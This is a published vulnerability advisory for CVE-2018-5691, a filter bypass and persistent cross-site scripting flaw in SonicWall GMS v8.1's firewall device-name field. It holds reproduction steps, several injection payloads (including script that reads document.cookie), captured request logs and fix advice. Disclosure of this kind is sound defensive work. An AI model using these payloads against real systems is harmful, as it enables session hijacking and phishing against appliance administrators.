Lucene search

K
vulnerlabVulnerability Laboratory [Research Team] - Benjamin Kunz Mejri [https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.] [www.vulnerability-lab.com]VULNERLAB:1819
HistoryJan 12, 2018 - 12:00 a.m.

SonicWall GMS v8.1 - Filter Bypass & Persistent Vulnerability

2018-01-1200:00:00
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri [https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.] [www.vulnerability-lab.com]
www.vulnerability-lab.com
79

EPSS

0.001

Percentile

30.5%

Document Title:
===============
SonicWall GMS v8.1 - Filter Bypass & Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1819

Release Notes: http://documents.software.dell.com/sonicwall-gms-os/8.2/release-notes/known-issues?ParentProduct=867



http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-5691

CVE-ID:
=======
CVE-2018-5691


Release Date:
=============
2018-01-12


Vulnerability Laboratory ID (VL-ID):
====================================
1819


Common Vulnerability Scoring System:
====================================
4.1


Vulnerability Class:
====================
Multiple


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Dell SonicWALL`s management and reporting solutions provide a comprehensive architecture for centrally creating and managing 
security policies, providing real-time monitoring and alerts, and delivering intuitive compliance and usage reports, all from 
a single management interface. Whether your organization is a small- or medium-sized business, a distributed enterprise or a 
managed service provider, Dell™ SonicWALL™ offers software and appliance solutions to meet its needs.

The award-winning Dell SonicWALL Global Management System (GMS) provides organizations, distributed enterprises and service 
providers with a flexible, powerful and intuitive solution to centrally manage and rapidly deploy SonicWALL firewall, anti-spam, 
backup and recovery, and secure remote access solutions. Flexibly deployed as software, hardware—in the form of the Universal 
Management Appliance (UMA)—or a virtual appliance, SonicWALL GMS also provides centralized real-time monitoring and comprehensive 
policy and compliance reporting to drive down the cost of owning and managing SonicWALL security appliances.  Multiple GMS 
software, hardware, and virtual appliance agents, when deployed in a cluster, can scale to manage thousands of SonicWALL 
security appliances. This makes GMS an ideal solution for small- to medium-sized businesses, enterprises and managed service 
providers that have either single-site or distributed multi-site environments.

(Copy of the Vendor Homepage: http://www.sonicwall.com/emea/en/products/Centralized_Management_Reporting.html )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered filter bypass and an application-side input validation vulnerability in the official SonicWall GMS v8.1 appliance web-application.


Vulnerability Disclosure Timeline:
==================================
2018-01-12: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
DELL SonicWall
Product: SonicWall GMS Networks Appliance Application 8.1 (VA)


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side web vulnerability and filter bypass issue has been discovered in the SonicWall GMS v8.1 appliance web-application.
The application-side vulnerability allows remote attacker or privileged user accounts to inject own malicious persistent script codes
to the sonicwall gms appliance web-application. The filter bypass issue allows an attacker to bypass the basic application validation.

The vulnerability is located in the `newName` and `Name` values of the `/sgms/TreeControl` module POST method request. Attackers are 
able to inject own payloads as name in the firewall device name listing to compromise session data or the java module. The method to 
inject is POST and the attack vector is located on the application-side of the sonicwall gms appliance web-application. 

The basic fitler validation of the gms appliance web-application encodes basic strings like frames and co by a restriction of privileges 
on execution of for example iframes. Remote attackers can bypass the validation by usage of a double path value with double quotes. The
way to bypass is very unique to the basic configuration of the appliance web-application.

The security risk of the persistent vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.1. 
Exploitation of the persistent web vulnerability requires a low privileged account with restricted access and low user interaction. 
Successful exploitation of the vulnerabilities results in persistent phishing mails, session hijacking, persistent external redirect 
to malicious sources and application-side manipulation of affected or connected module context.

Request Method(s):
				[+] POST

Vulnerable Section(s):
				[+] Firewall (Device List)			

Affected Module(s):
				[+] ./sgms/TreeControl                          

Vulnerable Parameter(s):
				[+] newName
				[+] name


Proof of Concept (PoC):
=======================
The filter bypass issue and persistent vulnerability can be exploited by remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Login to the gms 8.x appliance web-application
2. Click on top the firewall module in the menu
3. Surf to the firewall device listing
4. Change the input name to a script code payload
5. Save the entry
6. Now the no privleges exception occurs, refresh
7. The code executes in the firewall device listing
8. Successful reproduce of the vulnerability!


PoC: Payload(s)
">"<iframe src=http://vuln-lab.com>
">"<img src=http://vuln-lab.com/test.png>
">"<script>alert(document.cookie)</script>
">"<body onload=alert(document.domain)"<" 

Note: Above are the payloads to bypass the basic gms firewall list input validation and privileges module!


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://gms.cluster.localhost:6491/sgms/TreeControl 
Mime Type[text/plain]
   Request Header:
      Host[gms.cluster.localhost:6491]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      Referer[http://gms.cluster.localhost:6491/sgms/mainPage?page=simpletreecontrol&screenID=null]
      Content-Length[178]
      Cookie[JSESSIONID=E9D260050413E929B92A9FCD4102BFC9; SSOSESSIONID=E9D260050413E929B92A9FCD4102BFC9]
      Connection[keep-alive]
   POST-Daten:
      action[renameUnit]
      oldName[TZ%20190W]
      newName[%22%3E%22%3Ciframe%20src%3Dhttp%3A%2F%2Fvuln-lab.com%3E]
      renameNodeID[UT14236049472640040102377D2]
      domainID[DMN0000000000000000000000001]
   Response Header:
      Server[Apache-Coyote/1.1]
      Cache-Control[no-cache]
      Content-Type[text/plain]
      Content-Length[70]
-
Status: 200[OK] 
GET http://www.vulnerability-lab.com/ 
Mime Type[unknown]
   Request Header:
      Host[www.vulnerability-lab.com]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://gms.cluster.localhost:6491/sgms/mainPage?page=simpletreecontrol&screenID=null]
      Cookie[PHPSESSID=5c08hec3147u8g3a5e86ib15r3]
-
Status: 200[OK] 
POST http://gms.cluster.localhost:6491/sgms/TreeControl?action=getTreeData&format=json&includeNetMonitorUnits=0&saveViewID=1&doNotUpdateSessionInfo=true&_dc=1460132509332 
Mime Type[application/json]
   Request Header:
      Host[gms.cluster.localhost:6491]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Content-Type[application/json]
      X-Requested-With[XMLHttpRequest]
      Referer[http://gms.cluster.localhost:6491/sgms/mainPage?page=simpletreecontrol&screenID=null]
      Content-Length[83]
      Cookie[JSESSIONID=E9D260050413E929B92A9FCD4102BFC9; SSOSESSIONID=E9D260050413E929B92A9FCD4102BFC9]
      Connection[keep-alive]
   POST-Daten:
      {"name":"">"<iframe src=http://vuln-lab.com>","id":"UT14236049472640040102377D2"}]
   Response Header:
      Server[Apache-Coyote/1.1]
      Cache-Control[no-cache]
      Content-Type[application/json]
      Transfer-Encoding[chunked]
-
Status: 200[OK]
GET http://vuln-lab.com/ 
Mime Type[unknown]
   Request Header:
      Host[vuln-lab.com]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://gms.cluster.localhost:6491/sgms/mainPage?page=simpletreecontrol&screenID=null]


Reference(s):
http://gms.localhost:6491/
http://gms.localhost:6491/sgms/
http://gms.localhost:6491/sgms/mainPage
http://gms.localhost:6491/sgms/TreeControl


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable firewall list name input.
Restrict the input and disallow the usage of special chars. Deny to perform request in the java frames with another java frame or script code.
Encode the vulnerable output values in the list after saving. Implement a more secure exception-handling that logout the user on malicious interaction with the firewall.
The code can also be injected with a non administrator account without write permission. Ensure that this config is get reset as well.


The vulnerability got patched by the sonicwall developer team during the intragtion process during the 31th october 2016 (v8.2).
Please update your gms appliance web-application via service update or by manual interaction to prevent attacks.


Security Risk:
==============
The security risk of the application-side input validation vulnerability and filter bypass issue is estimated as medium. (CVSS 4.1)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri [https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.] [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    [email protected] 	- [email protected] 				- [email protected]
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or [email protected]) to get a ask permission.

				    Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™



EPSS

0.001

Percentile

30.5%

Related for VULNERLAB:1819